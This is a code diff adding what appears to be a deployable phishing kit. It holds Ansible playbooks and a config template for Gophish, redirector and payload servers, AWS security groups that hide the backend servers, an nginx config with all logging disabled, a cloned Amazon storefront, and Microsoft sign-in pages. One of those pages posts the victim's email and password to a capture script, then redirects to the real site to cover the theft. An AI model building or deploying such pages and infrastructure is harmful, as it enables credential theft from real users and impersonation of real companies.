+      "ip": "{{ gophish_server_ip | default('') }}",
+      "instance_id": "{{ gophish_instance_id | default('') }}",
+      "admin_port": "{{ gophish_admin_port }}"
+    },
+    "phishing_webserver": {
+      "name": "{{ phishing_web_name }}",
+      "ip": "{{ phishing_web_ip | default('') }}",
+      "instance_id": "{{ phishing_web_instance_id | default('') }}"
+    },
+    "phishing_redirector": {
+      "name": "{{ phishing_redirector_name }}",
+      "ip": "{{ phishing_redirector_ip | default('') }}",
+      "instance_id": "{{ phishing_redirector_instance_id | default('') }}"
+    },
+    {% if deploy_payload_infra | default(false) %}
+    "payload_server": {
+      "name": "{{ payload_server_name }}",
+      "ip": "{{ payload_server_ip | default('') }}",
+      "instance_id": "{{ payload_server_instance_id | default('') }}"
+    },
+    "payload_redirector": {
+      "name": "{{ payload_redirector_name }}",
+      "ip": "{{ payload_redirector_ip | default('') }}",
+      "instance_id": "{{ payload_redirector_instance_id | default('') }}"
+    },
+    {% endif %}
+  },
+  
+  "domains": {
+    "phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
+    "mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
+    {% if deploy_payload_infra | default(false) %}
+    "payload_domain": "{{ payload_subdomain }}.{{ domain }}",
+    {% endif %}
+  },
+  
+  "credentials": {
+    "gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
+    "smtp_auth_user": "{{ smtp_auth_user }}",
+    "smtp_settings": {
+      "host": "{{ mta_front_ip }}",
+      "port": 25,
+      "from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
+    }
+  },
+  
+  "security_groups": {
+    {% if provider == 'aws' %}
+    "mta_sg": "{{ mta_security_group_id | default('') }}",
+    "gophish_sg": "{{ gophish_security_group_id | default('') }}",
+    "web_sg": "{{ web_security_group_id | default('') }}",
+    "redirector_sg": "{{ redirector_security_group_id | default('') }}"
+    {% endif %}
+  }
+}
@@ -0,0 +1,85 @@
+---
+# Configure phishing web server with landing pages and credential capture
+
+- name: Install required packages
+  apt:
+    name:
+      - nginx
+      - php-fpm
+      - php-json
+      - certbot
+      - python3-certbot-nginx
+    state: present
+    update_cache: yes
+
+- name: Create web directories
+  file:
+    path: "{{ item }}"
+    state: directory
+    mode: '0755'
+    owner: www-data
+    group: www-data
+  loop:
+    - /var/www/phishing
+    - /var/www/phishing/templates
+    - /var/www/phishing/static
+    - /var/www/phishing/captures
+    - /var/private/phishing_creds
+
+- name: Deploy phishing templates
+  template:
+    src: "{{ item.src }}"
+    dest: "{{ item.dest }}"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+  loop:
+    - { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
+    - { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
+    - { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
+    - { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
+    - { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
+
+- name: Deploy credential capture script
+  template:
+    src: "../templates/phishing/capture.php.j2"
+    dest: "/var/www/phishing/capture.php"
+    mode: '0640'
+    owner: www-data
+    group: www-data
+
+- name: Configure NGINX for phishing sites
+  template:
+    src: "../templates/phishing/nginx-phishing-webserver.j2"
+    dest: /etc/nginx/sites-available/phishing
+    mode: '0644'
+
+- name: Enable phishing site
+  file:
+    src: /etc/nginx/sites-available/phishing
+    dest: /etc/nginx/sites-enabled/phishing
+    state: link
+
+- name: Remove default nginx site
+  file:
+    path: /etc/nginx/sites-enabled/default
+    state: absent
+
+- name: Configure PHP-FPM for security
+  lineinfile:
+    path: /etc/php/7.4/fpm/php.ini
+    regexp: "{{ item.regexp }}"
+    line: "{{ item.line }}"
+  loop:
+    - { regexp: '^expose_php', line: 'expose_php = Off' }
+    - { regexp: '^display_errors', line: 'display_errors = Off' }
+    - { regexp: '^log_errors', line: 'log_errors = On' }
+
+- name: Restart services
+  systemd:
+    name: "{{ item }}"
+    state: restarted
+    enabled: yes
+  loop:
+    - nginx
+    - php7.4-fpm
@@ -0,0 +1,183 @@
+---
+# Configure security groups and firewall rules for phishing infrastructure
+
+- name: Configure MTA Front security
+  block:
+    - name: Create MTA Front security group
+      amazon.aws.ec2_security_group:
+        name: "mta-front-{{ deployment_id }}"
+        description: "Security group for MTA Front server"
+        vpc_id: "{{ vpc_id }}"
+        region: "{{ aws_region }}"
+        rules:
+          # Management access
+          - proto: tcp
+            ports: 22
+            cidr_ip: "{{ operator_ip }}/32"
+            rule_desc: "SSH from operator"
+          
+          # SMTP services - public facing
+          - proto: tcp
+            ports: 25
+            cidr_ip: "0.0.0.0/0"
+            rule_desc: "SMTP from anywhere"
+          
+          - proto: tcp
+            ports: 587
+            cidr_ip: "0.0.0.0/0"
+            rule_desc: "SMTP submission"
+          
+          - proto: tcp
+            ports: 465
+            cidr_ip: "0.0.0.0/0"
+            rule_desc: "SMTPS"
+        
+        rules_egress:
+          - proto: -1
+            cidr_ip: "0.0.0.0/0"
+        state: present
+      when: deployment_components.mta_front | default(false) | bool
+
+- name: Configure Gophish security (hidden backend)
+  block:
+    - name: Create Gophish security group
+      amazon.aws.ec2_security_group:
+        name: "gophish-{{ deployment_id }}"
+        description: "Security group for Gophish server (hidden)"
+        vpc_id: "{{ vpc_id }}"
+        region: "{{ aws_region }}"
+        rules:
+          # Management access only
+          - proto: tcp
+            ports: 22
+            cidr_ip: "{{ operator_ip }}/32"
+            rule_desc: "SSH from operator"
+          
+          - proto: tcp
+            ports: 3333
+            cidr_ip: "{{ operator_ip }}/32"
+            rule_desc: "Gophish admin interface"
+          
+          # Internal communication only
+          - proto: tcp
+            ports: 80
+            cidr_ip: "{{ phishing_redirector_ip }}/32"
+            rule_desc: "HTTP from phishing redirector"
+          
+          - proto: tcp
+            ports: 25
+            cidr_ip: "{{ mta_front_ip }}/32"
+            rule_desc: "SMTP from MTA front"
+        
+        rules_egress:
+          - proto: -1
+            cidr_ip: "0.0.0.0/0"
+        state: present
+      when: deployment_components.gophish | default(false) | bool
+
+- name: Configure Phishing Redirector security (public facing)
+  block:
+    - name: Create Phishing Redirector security group
+      amazon.aws.ec2_security_group:
+        name: "phish-redirector-{{ deployment_id }}"
+        description: "Security group for Phishing Redirector"
+        vpc_id: "{{ vpc_id }}"
+        region: "{{ aws_region }}"
+        rules:
+          # Management access
+          - proto: tcp
+            ports: 22
+            cidr_ip: "{{ operator_ip }}/32"
+            rule_desc: "SSH from operator"
+          
+          # Public web access
+          - proto: tcp
+            ports: 80
+            cidr_ip: "0.0.0.0/0"
+            rule_desc: "HTTP from anywhere"
+          
+          - proto: tcp
+            ports: 443
+            cidr_ip: "0.0.0.0/0"
+            rule_desc: "HTTPS from anywhere"
+        
+        rules_egress:
+          - proto: -1
+            cidr_ip: "0.0.0.0/0"
+        state: present
+      when: deployment_components.phishing_redirector | default(false) | bool
+
+- name: Configure Phishing Web Server security (hidden backend)
+  block:
+    - name: Create Phishing Web Server security group
+      amazon.aws.ec2_security_group:
+        name: "phish-webserver-{{ deployment_id }}"
+        description: "Security group for Phishing Web Server (hidden)"
+        vpc_id: "{{ vpc_id }}"
+        region: "{{ aws_region }}"
+        rules:
+          # Management access only
+          - proto: tcp
+            ports: 22
+            cidr_ip: "{{ operator_ip }}/32"
+            rule_desc: "SSH from operator"
+          
+          # Internal communication only
+          - proto: tcp
+            ports: 80
+            cidr_ip: "{{ phishing_redirector_ip }}/32"
+            rule_desc: "HTTP from phishing redirector"
+          
+          - proto: tcp
+            ports: 443
+            cidr_ip: "{{ phishing_redirector_ip }}/32"
+            rule_desc: "HTTPS from phishing redirector"
+        
+        rules_egress:
+          - proto: -1
+            cidr_ip: "0.0.0.0/0"
+        state: present
+      when: deployment_components.phishing_webserver | default(false) | bool
+
+- name: Configure Payload Server security (hidden backend)
+  block:
+    - name: Create Payload Server security group
+      amazon.aws.ec2_security_group:
+        name: "payload-server-{{ deployment_id }}"
+        description: "Security group for Payload Server (hidden)"
+        vpc_id: "{{ vpc_id }}"
+        region: "{{ aws_region }}"
+        rules:
+          # Management access only
+          - proto: tcp
+            ports: 22
+            cidr_ip: "{{ operator_ip }}/32"
+            rule_desc: "SSH from operator"
+          
+          # Internal communication only
+          - proto: tcp
+            ports: 80
+            cidr_ip: "{{ payload_redirector_ip }}/32"
+            rule_desc: "HTTP from payload redirector"
+          
+          - proto: tcp
+            ports: 443
+            cidr_ip: "{{ payload_redirector_ip }}/32"
+            rule_desc: "HTTPS from payload redirector"
+        
+        rules_egress:
+          - proto: -1
+            cidr_ip: "0.0.0.0/0"
+        state: present
+      when: deployment_components.payload_server | default(false) | bool
+
+- name: Display security configuration summary
+  debug:
+    msg:
+      - "Phishing Infrastructure Security Configuration"
+      - "============================================="
+      - "✓ Least privilege access implemented"
+      - "✓ Backend servers hidden from public access"
+      - "✓ Only redirectors/MTA fronts are publicly accessible"
+      - "✓ Operator-only SSH access configured"
+      - "✓ Internal communication secured"
@@ -0,0 +1,40 @@
+server {
+    listen 80;
+    server_name _;
+    
+    root /var/www/phishing;
+    index index.html index.php;
+    
+    # Disable all logging
+    access_log off;
+    error_log /dev/null crit;
+    
+    # PHP processing
+    location ~ \.php$ {
+        include snippets/fastcgi-php.conf;
+        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
+    }
+    
+    # Credential capture endpoint
+    location = /capture.php {
+        limit_except POST { deny all; }
+        include snippets/fastcgi-php.conf;
+        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+    }
+    
+    # Template routing
+    location /templates/ {
+        try_files $uri $uri/ =404;
+    }
+    
+    # Static resources
+    location /static/ {
+        try_files $uri $uri/ =404;
+    }
+    
+    # Default
+    location / {
+        try_files $uri $uri/ /index.html;
+    }
+}
@@ -0,0 +1,238 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Amazon</title>
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw==" crossorigin="anonymous" referrerpolicy="no-referrer" />
+    <link rel="stylesheet" href="style.css">
+</head>
+<body>
+    <header>
+        <div class="navbar">
+            <div class="nav-logo border">
+                <div class="logo"></div>
+            </div>
+
+            <div class="nav-address border">
+                <p class="add-first">Deliver to</p>
+                <div class="add-icon">
+                    <i class="fa-solid fa-location-dot"></i>
+                    <p class="add-second">US</p>
+                </div>
+            </div>
+
+            <div class="nav-search">
+                <select class="search-select">
+                    <option>All</option>
+                </select>
+                <input placeholder="Search Amazon" class="search-input">
+                <div class="search-icon">
+                    <i class="fa-solid fa-magnifying-glass"></i>
+                </div>
+            </div>
+
+            <div class="nav-signin border">
+                <p><span>Hello, sign in</span></p>
+                <p class="nav-second">Accounts & Lists</p>
+            </div>
+
+            <div class="nav-return border">
+                <p><span>Returns</span></p>
+                <p class="nav-second">& Orders</p>
+            </div>
+
+            <div class="nav-cart border">
+                <i class="fa-solid fa-cart-shopping"></i>
+                Cart
+            </div>
+        </div>
+
+        <div class="panel">
+            <div class="panel-all">
+                <i class="fa-solid fa-bars"></i>
+                All
+            </div>
+
+            <div class="panel-options">
+                <p>Today's Deals</p>
+                <p>Buy Again</p>
+                <p>Customer Service</p>
+                <p>Registry</p>
+                <p>Gift Cards</p>
+                <p>Sell</p>
+            </div>
+        </div>
+    </header>
+
+    <div class="hero-section">
+        <div class="hero-msg">
+            <p>You are on amazon.com. You can also shop on Amazon for millions of products with fast local delivery. <a>Click here to go to amazon.in</a></p>
+        </div>
+    </div>
+
+    <div class="shop-section">
+        <div class="box">
+            <div class="box-content">
+                <h2>Clothes</h2>
+                <div class="box-img" style="background-image: url('box1_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+        
+        <div class="box">
+            <div class="box-content">
+                <h2>Health & Personal Care</h2>
+                <div class="box-img" style="background-image: url('box2_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+        
+        <div class="box">
+            <div class="box-content">
+                <h2>Furniture</h2>
+                <div class="box-img" style="background-image: url('box3_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+       
+        <div class="box">
+            <div class="box-content">
+                <h2>Electronics</h2>
+                <div class="box-img" style="background-image: url('box4_image.jpg');"></div>
+                <p>See more</p>
+            </div>
+        </div>
+
+        <div class="box">
+            <div class="box-content">
+                <h2>Beauty picks</h2>
+                <div class="box-img" style="background-image: url('box5_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+        
+        <div class="box">
+            <div class="box-content">
+                <h2>Shop Pet Supplies</h2>
+                <div class="box-img" style="background-image: url('box6_image.jpg');"></div>
+                <p>See more</p>
+            </div>
+        </div>
+        
+        <div class="box">
+            <div class="box-content">
+                <h2>New Arrival in Toys</h2>
+                <div class="box-img" style="background-image: url('box7_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+       
+        <div class="box">
+            <div class="box-content">
+                <h2>Discover Fashion Trends</h2>
+                <div class="box-img" style="background-image: url('box8_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+
+        <div class="box">
+            <div class="box-content">
+                <h2>Home refresh ideas</h2>
+                <div class="box-img" style="background-image: url('box9_image.jpg');"></div>
+                <p>Shop kitchen upgrades</p>
+            </div>
+        </div>
+
+        <div class="box">
+            <div class="box-content">
+                <h2>Create with strip lights</h2>
+                <div class="box-img" style="background-image: url('box10_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+
+        <div class="box">
+            <div class="box-content">
+                <h2>For your Fitness Needs</h2>
+                <div class="box-img" style="background-image: url('box11_image.jpg');"></div>
+                <p>Shop now</p>
+            </div>
+        </div>
+
+        <div class="box">
+            <div class="box-content">
+                <h2>Spring new arrivals</h2>
+                <div class="box-img" style="background-image: url('box12_image.jpg');"></div>
+                <p>Discover more</p>
+            </div>
+        </div>
+    </div>
+
+    <footer>
+        <div class="foot-panel1">
+            Back to Top
+        </div>
+
+        <div class="foot-panel2">
+            <ul>
+                <p>Get to Know Us</p>
+                    <a>Careers</a>
+                    <a>Blog</a>
+                    <a>About Amazon</a>
+                    <a>Investor Relations</a>
+                    <a>Amazon Devices</a>
+                    <a>Amazon Science</a>
+            </ul>
+
+            <ul>
+                <p>Make Money with Us</p>
+                    <a>Sell products on Amazon</a>
+                    <a>Sell on Amazon Business</a>
+                    <a>Sell apps on Amazon</a>
+                    <a>Become an Affiliate</a>
+                    <a>Advertise Your Products</a>
+                    <a>Self-Publish with Us</a>
+                    <a>Host an Amazon Hub</a>
+                   <a>› See More Make Money with Us</a> 
+            </ul>
+
+            <ul>
+                <p>Amazon Payment Products</p>
+                    <a>Amazon Business Card</a>
+                    <a>Shop with Points</a>
+                    <a>Reload Your Balance</a>
+                   <a>Amazon Currency Converter</a> 
+            </ul>
+
+            <ul>
+                <p>Let Us Help You</p>
+                    <a>Amazon and COVID-19</a>
+                    <a>Your Account</a>
+                    <a>Your Orders</a>
+                    <a>Shipping Rates & Policies</a>
+                    <a>Returns & Replacements</a>
+                    <a>Manage Your Content and Devices</a>
+                    <a>Amazon Assistant</a>
+                    <a>Help</a>
+            </ul>
+
+        </div>
+
+        <div class="foot-panel3">
+            <div class="logo"></div>
+        </div>
+
+        <div class="foot-panel4">
+            <div class="policies">
+                <a>Conditions of Use</a>
+                <a>Privacy Policies</a>
+                <a>Your Ads Privacy Choices</a>
+            </div>
+            <div class="copyright">
+                © 1996-2023, Amazon.com, Inc. or its affiliates
+            </div>
+        </div>
+    </footer>
+</body>
+</html>
@@ -0,0 +1,269 @@
+* {
+    margin: 0;
+    font-family: Arial;
+    border: border-box;
+}
+
+.navbar {
+    height: 60px;
+    background-color: #0F1111;
+    color: white;
+    display: flex;
+    align-items: center;
+    justify-content: space-evenly;
+}
+
+.nav-logo {
+    height: 50px;
+    width: 110px;
+}
+
+.logo {
+    background-image: url("amazon_logo.png");
+    background-size: cover;
+    height: 50px;
+    width: 100%;
+}
+
+.border {
+    border: 1.5px solid transparent;
+}
+
+.border:hover {
+    border: 1.5px solid white;
+}
+
+/* box2 */
+.add-first {
+    color: #CCCCCC;
+    font-size: 0.85rem;
+    margin-left: 13px;
+}
+
+.add-second {
+    font-size: 1rem;
+    margin-left: 1.5px;
+}
+
+.add-icon {
+    display: flex;
+    align-items: center;
+}
+
+/* box3 */
+.nav-search {
+    display: flex;
+    justify-content: space-evenly;
+    background-color: pink;
+    width: 600px;
+    height: 40px;
+    border-radius: 4px;
+}
+
+.search-select {
+    background-color: #f3f3f3;
+    width: 50px;
+    text-align: center;
+    border-top-left-radius: 4px;
+    border-bottom-left-radius: 4px;
+    border: none;
+}
+
+.search-input {
+    width: 100%;
+    font-size: 1rem;
+    border: none;
+}
+
+.search-icon {
+    width: 45px;
+    display: flex;
+    justify-content: center;
+    align-items: center;
+    font-size: 1.2rem;
+    background-color: #febd68;
+    border-top-right-radius: 4px;
+    border-bottom-right-radius: 4px;
+    color: #0F1111;
+}
+
+/* box4 */
+span {
+    font-size: 0.7rem;
+}
+
+.nav-second {
+    font-size: 0.85rem;
+    font-weight: 700;
+}
+
+/* box6 */
+.nav-cart i {
+    font-size: 28px;
+}
+
+.nav-cart {
+    font-size: 0.85rem;
+    font-weight: 700;
+}
+
+/* panel */
+.panel {
+    height: 40px;
+    background-color: #222f3d;
+    display: flex;
+    color: white;
+    align-items: center;
+    justify-content: space-evenly;
+}
+
+.panel-all:hover {
+    border: 1.5px solid white;
+}
+
+.panel-options p {
+    display: inline;
+    margin-left: 10px;
+}
+
+.panel-options {
+    width: 85%;
+    font-size: 0.85rem;
+}
+.panel-options p:hover {
+    border: 1.5px solid white;
+}
+/* hero section */
+.hero-section {
+    background-image: url("hero1_image.jpg");
+    background-size: cover;
+    height: 350px;
+    display: flex;
+    justify-content: center;
+    align-items: flex-end;
+}
+
+.hero-msg {
+    background-color: white;
+    color: black;
+    height: 40px;
+    display: flex;
+    align-items: center;
+    justify-content: center;
+    font-size: 0.85rem;
+    width: 80%;
+    margin-bottom: 25px;
+}
+
+.hero-msg a {
+    color: #007185;
+}
+
+/* shop-section */
+.shop-section {
+    display: flex;
+    flex-wrap: wrap;
+    justify-content: space-evenly;
+    background-color: hsl(318, 65%, 90%);
+}
+
+
+.box {
+    /*border: 2px solid black;*/
+    border-radius: 5px;
+    height: 400px;
+    width: 23%;
+    background-color: white;
+    padding: 20px 0px 15px;
+    margin-top: 15px;
+}
+
+.box-img {
+    height: 300px;
+    background-size: cover;
+    margin-top: 1rem;
+    margin-bottom: 1rem;
+}
+
+.box-content {
+    margin-left: 1rem;
+    margin-right: 1rem;
+}
+
+.box-content p {
+    color: #007185;
+}
+
+.box-content p:hover {
+    color: #febd68;
+}
+/* footer */
+footer {
+    margin-top: 15px;
+}
+
+.foot-panel1 {
+    background-color: #37475a;
+    color: white;
+    height: 50px;
+    display: flex;
+    justify-content: center;
+    align-items: center;
+    font-size: 0.85rem;
+}
+
+.foot-panel2 {
+    background-color: #222f3d;
+    color: white;
+    height: 500px;
+    display: flex;
+    justify-content: space-evenly;
+}
+
+.foot-panel2 a:hover {
+    text-decoration: underline;
+}
+
+ul {
+    margin-top: 20px;
+}
+
+ul a {
+    display: block;
+    font-size: 0.85rem;
+    margin-top: 10px;
+    color: #dddddd;
+}
+
+.foot-panel3 {
+    background-color: #222f3d;
+    color: white;
+    border-top: 0.5px solid white;
+    height: 70px;
+    display: flex;
+    justify-content: center;
+    align-items: center;
+}
+
+.logo {
+    background-image: url("amazon_logo.png");
+    background-size: cover;
+    height: 50px;
+    width: 100px;
+}
+
+.foot-panel4 {
+    background-color: #0F1111;
+    color: white;
+    height: 80px;
+    text-align: center;
+    font-size: 0.7rem;
+}
+
+.policies {
+    padding-top: 25px;
+}
+
+.copyright {
+    padding-top: 5px;
+}
@@ -0,0 +1,106 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Sign in to your account</title>
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <style>
+        body {
+            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
+            background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
+            margin: 0;
+            padding: 0;
+            height: 100vh;
+            display: flex;
+            justify-content: center;
+            align-items: center;
+        }
+        .login-container {
+            background: white;
+            width: 380px;
+            padding: 30px 40px;
+            box-shadow: 0 2px 6px rgba(0,0,0,0.1);
+        }
+        .logo {
+            text-align: left;
+            margin-bottom: 20px;
+        }
+        h1 {
+            font-size: 24px;
+            font-weight: 600;
+            margin: 20px 0 15px;
+        }
+        input[type="text"], input[type="password"] {
+            width: 100%;
+            padding: 8px 0;
+            margin-bottom: 15px;
+            border: none;
+            border-bottom: 1px solid #ccc;
+            font-size: 15px;
+            outline: none;
+        }
+        input:focus {
+            border-bottom: 1px solid #0067b8;
+        }
+        .button-container {
+            text-align: right;
+            margin-top: 20px;
+        }
+        button {
+            background-color: #0067b8;
+            color: white;
+            border: none;
+            padding: 8px 24px;
+            font-size: 14px;
+            cursor: pointer;
+        }
+        .links {
+            margin-top: 20px;
+            font-size: 13px;
+        }
+        .links a {
+            color: #0067b8;
+            text-decoration: none;
+        }
+        .footer {
+            position: fixed;
+            bottom: 0;
+            width: 100%;
+            display: flex;
+            justify-content: space-between;
+            padding: 10px 20px;
+            font-size: 12px;
+            color: #666;
+        }
+        .footer a {
+            color: #666;
+            text-decoration: none;
+            margin-left: 20px;
+        }
+    </style>
+</head>
+<body>
+    <div class="login-container">
+        <div class="logo">
+            <img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
+        </div>
+        <h1>Sign in</h1>
+        <form action="process.php" method="post">
+            <input type="text" name="email" placeholder="Email, phone, or Skype" required>
+            <input type="password" name="password" placeholder="Password" required>
+            <div class="links">
+                <a href="https://signup.live.com/signup">No account? Create one!</a><br>
+                <a href="https://account.live.com/password/reset">Can't access your account?</a>
+            </div>
+            <div class="button-container">
+                <button type="submit">Next</button>
+            </div>
+        </form>
+    </div>
+    <div class="footer">
+        <div class="terms">
+            <a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
+            <a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
+        </div>
+    </div>
+</body>
+</html>
@@ -0,0 +1,220 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>{{ page_title | default('Sign in to your account') }}</title>
+    <style>
+        * {
+            margin: 0;
+            padding: 0;
+            box-sizing: border-box;
+        }
+        
+        body {
+            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
+            background: #f2f2f2;
+            display: flex;
+            justify-content: center;
+            align-items: center;
+            min-height: 100vh;
+        }
+        
+        .container {
+            background: white;
+            padding: 40px;
+            border-radius: 2px;
+            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
+            width: 440px;
+            max-width: 90%;
+        }
+        
+        .logo {
+            text-align: left;
+            margin-bottom: 24px;
+        }
+        
+        .logo img {
+            height: 24px;
+        }
+        
+        h1 {
+            font-size: 24px;
+            font-weight: 600;
+            margin-bottom: 16px;
+            color: #1a1a1a;
+        }
+        
+        .form-group {
+            margin-bottom: 16px;
+        }
+        
+        input[type="email"],
+        input[type="password"],
+        input[type="text"] {
+            width: 100%;
+            padding: 10px 12px;
+            border: 1px solid #605e5c;
+            border-radius: 2px;
+            font-size: 15px;
+            transition: border-color 0.2s;
+        }
+        
+        input[type="email"]:focus,
+        input[type="password"]:focus,
+        input[type="text"]:focus {
+            outline: none;
+            border-color: #0078d4;
+        }
+        
+        .forgot-password {
+            display: block;
+            margin: 8px 0 16px;
+            color: #0078d4;
+            text-decoration: none;
+            font-size: 13px;
+        }
+        
+        .forgot-password:hover {
+            text-decoration: underline;
+        }
+        
+        .btn-primary {
+            width: 100%;
+            padding: 12px;
+            background: #0078d4;
+            color: white;
+            border: none;
+            border-radius: 2px;
+            font-size: 16px;
+            cursor: pointer;
+            transition: background 0.2s;
+        }
+        
+        .btn-primary:hover {
+            background: #106ebe;
+        }
+        
+        .error-message {
+            color: #d13438;
+            font-size: 13px;
+            margin-top: 8px;
+            display: none;
+        }
+        
+        .loading {
+            display: none;
+            text-align: center;
+            margin-top: 20px;
+        }
+        
+        .spinner {
+            border: 2px solid #f3f3f3;
+            border-top: 2px solid #0078d4;
+            border-radius: 50%;
+            width: 20px;
+            height: 20px;
+            animation: spin 1s linear infinite;
+            display: inline-block;
+        }
+        
+        @keyframes spin {
+            0% { transform: rotate(0deg); }
+            100% { transform: rotate(360deg); }
+        }
+        
+        .footer {
+            margin-top: 40px;
+            font-size: 12px;
+            color: #605e5c;
+            text-align: center;
+        }
+        
+        .footer a {
+            color: #605e5c;
+            text-decoration: none;
+        }
+        
+        .footer a:hover {
+            text-decoration: underline;
+        }
+    </style>
+</head>
+<body>
+    <div class="container">
+        <div class="logo">
+            <img src="{{ logo_url | default('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiPjx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LWZhbWlseT0iU2Vnb2UgVUkiIGZvbnQtc2l6ZT0iMjAiIGZpbGw9IiM1YzJkOTEiPk1pY3Jvc29mdDwvdGV4dD48L3N2Zz4=') }}" alt="Logo">
+        </div>
+        
+        <h1>{{ heading | default('Sign in') }}</h1>
+        
+        <form id="loginForm" method="POST" action="/capture.php">
+            <input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
+            <input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
+            
+            <div class="form-group">
+                <input type="email" 
+                       name="username" 
+                       id="username" 
+                       placeholder="{{ username_placeholder | default('Email, phone, or Skype') }}"
+                       required>
+            </div>
+            
+            <div class="form-group">
+                <input type="password" 
+                       name="password" 
+                       id="password" 
+                       placeholder="{{ password_placeholder | default('Password') }}"
+                       required>
+            </div>
+            
+            <a href="#" class="forgot-password">{{ forgot_text | default('Forgot password?') }}</a>
+            
+            <div class="error-message" id="error">
+                {{ error_message | default('Invalid username or password.') }}
+            </div>
+            
+            <button type="submit" class="btn-primary">
+                {{ button_text | default('Sign in') }}
+            </button>
+            
+            <div class="loading" id="loading">
+                <div class="spinner"></div>
+                <p>{{ loading_text | default('Signing in...') }}</p>
+            </div>
+        </form>
+        
+        <div class="footer">
+            <a href="#">{{ footer_link1 | default('Terms of use') }}</a> | 
+            <a href="#">{{ footer_link2 | default('Privacy & cookies') }}</a>
+        </div>
+    </div>
+    
+    <script>
+        document.getElementById('loginForm').addEventListener('submit', function(e) {
+            e.preventDefault();
+            
+            // Show loading state
+            document.getElementById('loading').style.display = 'block';
+            document.querySelector('.btn-primary').style.display = 'none';
+            
+            // Submit form data
+            fetch(this.action, {
+                method: 'POST',
+                body: new FormData(this)
+            })
+            .then(response => {
+                // Redirect after a delay to simulate processing
+                setTimeout(() => {
+                    window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
+                }, 2000);
+            })
+            .catch(error => {
+                document.getElementById('error').style.display = 'block';
+                document.getElementById('loading').style.display = 'none';
+                document.querySelector('.btn-primary').style.display = 'block';
+            });
+        });
+    </script>
+</body>
+</html>